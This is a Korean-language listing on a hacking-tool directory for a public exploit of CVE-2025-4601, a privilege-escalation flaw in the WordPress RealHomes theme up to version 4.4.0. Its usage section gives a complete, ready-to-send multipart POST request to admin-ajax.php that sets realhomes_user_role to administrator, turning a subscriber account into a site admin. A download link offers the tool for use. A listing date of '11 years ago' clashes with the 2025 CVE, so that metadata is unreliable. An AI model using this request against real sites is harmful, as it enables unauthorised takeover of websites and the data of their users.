Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-4601 — RH - 부동산 WordPress 테마 <= 4.4.0 - 인증된 (구독자+) 권한 상승 | Kitploit
도구/GitHubGitHub/yucaerin/cve-2025-4601
Privilege EscalationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubyucaerin/cve-2025-4601

CVE-2025-4601

RH - 부동산 WordPress 테마 <= 4.4.0 - 인증된 (구독자+) 권한 상승

저장소 보기
11년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-4601 - WordPress RealHomes 테마 <= 4.4.0 - 권한 상승

🔥 취약점 요약 WordPress 테마 RealHomes 버전 4.4.0 이하는 권한 상승 취약점에 영향을 받습니다. 이로 인해 인증된 낮은 권한의 사용자(예: 구독자)가 관리자로 역할을 상승시킬 수 있습니다. 이 취약점은 inspiry_update_profile 함수에서 발생하며, ere_allow_users_change_role 옵션이 활성화된 경우 사용자가 자신의 역할을 변경할 수 있게 합니다.

이 문제는 admin-ajax.php 엔드포인트에 특수하게 조작된 POST 요청을 보내 realhomes_user_role 매개변수를 administrator로 설정함으로써 악용될 수 있습니다.

🔍 영향을 받는 테마

  • 테마 이름: RealHomes
  • 영향을 받는 버전: <= 4.4.0
  • 취약점 유형: 권한 상승
  • CVE ID: CVE-2025-4601
  • CVSS 점수: 8.8 (심각)
  • 영향: 전체 관리자 접근 → 잠재적 사이트 손상

🧪 익스플로잇 기능

  • 📥 nonce를 자동으로 대상 페이지에서 가져옵니다.
  • 🔐 사용자 역할을 realhomes_user_role 매개변수를 통해 administrator로 상승시킵니다.
  • 🌐 인증 필수 없음 – 낮은 권한의 사용자(예: 구독자)로 로그인된 상태만 필요합니다.
  • 💾 사용자 프로필을 업데이트하여 공격자에게 관리자 접근 권한을 부여합니다.

🧠 연구자

  • 공로: Thai An

🚀 사용법

  1. 대상 웹사이트에 낮은 권한의 사용자(예: 구독자)로 로그인합니다.

  2. /wp-admin/admin-ajax.php 엔드포인트에 다음 POST 데이터를 전송합니다. 여기에는 realhomes_user_role이 administrator로 설정되어 있습니다:

    root@kitploit:~
    POST /wp-admin/admin-ajax.php HTTP/2
    Host: targetsite.com
    Cookie: wordpress_logged_in_xxx=...
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryNGw1yuikHiYVYYsr
    
    ------WebKitFormBoundaryNGw1yuikHiYVYYsr
    Content-Disposition: form-data; name="first-name"
    test
    ------WebKitFormBoundaryNGw1yuikHiYVYYsr
    Content-Disposition: form-data; name="last-name"
    user
    ------WebKitFormBoundaryNGw1yuikHiYVYYsr
    Content-Disposition: form-data; name="realhomes_user_role"
    administrator
    ------WebKitFormBoundaryNGw1yuikHiYVYYsr
    Content-Disposition: form-data; name="action"
    inspiry_update_profile
    ------WebKitFormBoundaryNGw1yuikHiYVYYsr--
    
  3. 응답 확인: 요청이 성공하면 공격자는 관리자 접근 권한을 얻게 됩니다.

  4. /wp-admin/ 페이지에 접근하여 관리자 권한이 부여되었는지 확인합니다.

🔒 고지사항: 이는 교육 목적으로만 제공되며, 소유한 시스템이나 명시적으로 테스트 권한을 받은 시스템에서만 사용해야 합니다. 이 코드를 오용하면 법적 결과를 초래할 수 있습니다.

도구 다운로드